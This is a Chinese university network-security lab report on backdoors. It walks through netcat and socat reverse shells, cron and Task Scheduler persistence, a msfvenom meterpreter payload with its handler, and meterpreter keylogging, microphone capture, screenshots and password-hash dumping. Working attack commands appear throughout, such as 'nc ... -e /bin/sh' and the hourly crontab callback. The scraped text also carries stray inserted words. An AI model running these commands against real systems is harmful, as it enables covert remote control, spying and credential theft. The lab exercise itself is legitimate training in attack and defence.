20165310 NetSec Week4 Exp2 后门原理与实践

20165310 NetSec Exp2后门原理与实践

1、基础问题

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    • 网页木马等访问网页致使
    • 下载非官方源软件
    • 随意下载邮件中不明程序等
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    • 修改注册表,使后门进行自启动
    • 制定定时启动
  • Meterpreter有哪些给你映像深入的功能?
    • msfconsole真是太好看了
    • 生成后门程序而且传输给目标电脑,链接控制
  • 如何发现本身有系统有没有被安装后门?
    • 查看进程,是否有异常进程
    • 查看注册表是否被修改过
    • 查看日志,是否有异常日志
    • 杀毒软件、防火墙

2、经常使用后门工具

一、natcathtml

  • 前期准备,得到主机iplinux

    • win:ipconfig

    0

    linux:ifconfigweb

    1

  • Win得到Linux Shell:利用反弹链接,此时win为攻击者,linux为受害者shell

    • windows 打开监听ncat.exe -l -p 5310vim

      2

    • Linux反弹链接winnc 192.168.154.149 5310 -e /bin/shwindows

      4

    • windows下得到一个linux shell,可运行任何指令,如lsapi

      3

  • linux 获取 win的shell:利用反弹链接,此时linux为攻击者,win为受害者网络

    • kali下监听端口ncat.exe -l 5310session

      5

    • win10反弹链接kali ncat.exe -e cmd.exe 192.168.154.146 5310tcp

      6

    • linux下得到一个windows shell,可运行任何指令,如ls

      8

  • nc传数据

    • Win下监听5310端口ncat.exe -l 5310,linux链接winnc 192.168.154.149 5310,随后在Linux输入须要传输的字符

      9

    • 能够发现windows接收到了相同的数据

  • nc传输文件

    • 以后传输后门软件能够体现,没有进行单独的实验

3、实验内容

任务一:使用netcat获取主机操做Shell,cron启动

  • Windows启用监听ncat.exe -l 5310

  • 在Kali环境下用crontab -e指令编辑一条定时任务,初次使用须要选择编辑器,这里咱们选择3,具体区别能够参考博客我的使用vim的一点心得

  • 在最后一行添加18 * * * * /bin/netcat 192.168.154.149 5310 -e /bin/sh,意思是在每一个小时的第18分钟反向链接Windows主机的5310端口,具体crontab的用法能够参考博客crontab 详细用法 定时任务

  • 定时任务设定成功

  • 时间到后,windows得到shell

任务二:使用socat获取主机操做Shell, 任务计划启动

  • 在Windows7系统下,打开计算机管理->任务计划程序->建立任务,填写任务名称后NetSec_Exp2_5310

  • 新建触发器,工做站锁定时开始任务(模拟用户不在电脑前),选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5310 exec:cmd.exe,pty,stderr,这个命令的做用是把cmd.exe绑定到端口5310,同时把cmd.exestderr重定向到stdout

  • 建立完成以后,按Win+L快捷键锁定计算机,解除锁屏后,能够发现以前建立的任务已经开始运行

  • kali下输入指令socat - tcp:192.168.154.149:5310成功得到shell

任务三:使用MSF meterpreter(或其余软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 利用MSF生成恶意后门msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.146 LPORT=5310 -f exe > 5310_backdoor.exe,这里的IP地址为攻击者IP,即kali本机IP

    1-

    参数说明:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即便用该编码器编码5次。
    -b badchar是payload中须要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    > 输出到哪一个文件
  • kali下执行,在Windows下执行ncat.exe -lv 5310 > 5310_backdoor.exe指令,经过-lv选项看到当前的链接状态,在Linux中执行nc 192.168.154.149 5310 < 5310_backdoor.exe,这里的IP为被控主机IP,即Win7 IP,能够看见文件传输成功(文件大小为73k与生成大小匹配,截图中未能截到,能够经过这个判断是否传输完毕)

  • 在Kali上使用msfconsole指令进入msf控制台

  • 开始输入指令进行设置

    • 输入use exploit/multi/handler使用监听模块,设置payload

    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

    • set LHOST 192.168.154.146,这里是Kalid IP,即本机IP,和生成后门程序时指定的IP相同

    • set LPORT 5310,一样要使用相同的端口

    • 能够用命令show options确认设置是否正确

  • 输入攻击指令exploit进行攻击,得到shell

任务四:使用MSF meterpreter(或其余软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • record_mic截获音频,能够用-d选项设置录制时间,默认2s

  • keyscan_start指令开始记录击键,keyscan_dump指令读取击键的记录,在Windows中输入命名为key的TXT文件,内容为 Hello World

  • screenshot进行屏幕截屏

  • 还有多条指令,可参照下方参数列表,或者本身用help指令更全面:

    meterpreter > help
    Core Commands第一部分是核心指令
    =============
    
        Command                   Description
        -------                   -----------
        ?                         Help menu
        background                Backgrounds the current session
        bgkill                    Kills a background meterpreter script
        bglist                    Lists running background scripts
        bgrun                     Executes a meterpreter script as a background thread
        channel                   Displays information or control active channels
        close                     Closes a channel
        disable_unicode_encoding  Disables encoding of unicode strings
        enable_unicode_encoding   Enables encoding of unicode strings
        exit                      Terminate the meterpreter session
        get_timeouts              Get the current session timeout values
        help                      Help menu
        info                      Displays information about a Post module
        irb                       Drop into irb scripting mode
        load                      Load one or more meterpreter extensions
        machine_id                Get the MSF ID of the machine attached to the session
        migrate                   Migrate the server to another process
        quit                      Terminate the meterpreter session
        read                      Reads data from a channel
        resource                  Run the commands stored in a file
        run                       Executes a meterpreter script or Post module
        set_timeouts              Set the current session timeout values
        sleep                     Force Meterpreter to go quiet, then re-establish session.
        transport                 Change the current transport mechanism
        use                       Deprecated alias for 'load'
        uuid                      Get the UUID for the current session
        write                     Writes data to a channel
    
    
    Stdapi: File system Commands第二部分是文件系统相关的
    ============================
    
        Command       Description
        -------       -----------
        cat           Read the contents of a file to the screen
        cd            Change directory
        dir           List files (alias for ls)
        download      Download a file or directory
        edit          Edit a file
        getlwd        Print local working directory
        getwd         Print working directory
        lcd           Change local working directory
        lpwd          Print local working directory
        ls            List files
        mkdir         Make directory
        mv            Move source to destination
        pwd           Print working directory
        rm            Delete the specified file
        rmdir         Remove directory
        search        Search for files
        show_mount    List all mount points/logical drives
        upload        Upload a file or directory
    
    
    Stdapi: Networking Commands固然少不了网络操做的了
    ===========================
    
        Command       Description
        -------       -----------
        arp           Display the host ARP cache
        getproxy      Display the current proxy configuration
        ifconfig      Display interfaces
        ipconfig      Display interfaces
        netstat       Display the network connections
        portfwd       Forward a local port to a remote service
        resolve       Resolve a set of host names on the target
        route         View and modify the routing table
    
    
    Stdapi: System Commands系统指令
    =======================
    
        Command       Description
        -------       -----------
        clearev       Clear the event log
        drop_token    Relinquishes any active impersonation token.
        execute       Execute a command
        getenv        Get one or more environment variable values
        getpid        Get the current process identifier
        getprivs      Attempt to enable all privileges available to the current process
        getsid        Get the SID of the user that the server is running as
        getuid        Get the user that the server is running as
        kill          Terminate a process
        ps            List running processes
        reboot        Reboots the remote computer
        reg           Modify and interact with the remote registry
        rev2self      Calls RevertToSelf() on the remote machine
        shell         Drop into a system command shell
        shutdown      Shuts down the remote computer
        steal_token   Attempts to steal an impersonation token from the target process
        suspend       Suspends or resumes a list of processes
        sysinfo       Gets information about the remote system, such as OS
    
    
    Stdapi: User interface Commands用户接口,能够抓取击键记录
    ===============================
    
        Command        Description
        -------        -----------
        enumdesktops   List all accessible desktops and window stations
        getdesktop     Get the current meterpreter desktop
        idletime       Returns the number of seconds the remote user has been idle
        keyscan_dump   Dump the keystroke buffer
        keyscan_start  Start capturing keystrokes
        keyscan_stop   Stop capturing keystrokes
        screenshot     Grab a screenshot of the interactive desktop
        setdesktop     Change the meterpreters current desktop
        uictl          Control some of the user interface components
    
    
    Stdapi: Webcam Commands 
    =======================
    
        Command        Description
        -------        -----------
        record_mic     Record audio from the default microphone for X seconds
        webcam_chat    Start a video chat
        webcam_list    List webcams
        webcam_snap    Take a snapshot from the specified webcam
        webcam_stream  Play a video stream from the specified webcam
    
    
    Priv: Elevate Commands提权
    ======================
    
        Command       Description
        -------       -----------
        getsystem     Attempt to elevate your privilege to that of local system.
        ***个人win7没成功***
    
    Priv: Password database Commands导出密码文件SAM
    ================================
    
        Command       Description
        -------       -----------
        hashdump      Dumps the contents of the SAM database
    
    Priv: Timestomp Commands修改文件操做时间,清理现场用
    ========================
    
        Command       Description
        -------       -----------
        timestomp     Manipulate file MACE attributes
  • 有些指令须要打开虚拟机摄像头链接,有些须要进行额外攻击操做,例如win7提权失败提示显示须要进行UAC绕过

遇到问题与解决方法

  • socat命令输错

    • 缘由与解决方法:-tcp中间存在空格要注意
  • msf打开摄像头失败

    • 缘由与解决方法:个人win7虚拟机设置链接后依然没法识别内置摄像头,须要真机环境或外设
  • msf没法链接

    • 缘由与解决方法:输错host,因为复制缘由,生成的.exe文件与设置的host错的很统一,迟迟找不出错误,改正便可

心得体会

  • 实验过程当中犯了许多小错误,致使实验时间大大延长,须要更加细心严谨
  • MSF要学习的内容还不少,要多加研究学习
相关文章
相关标签/搜索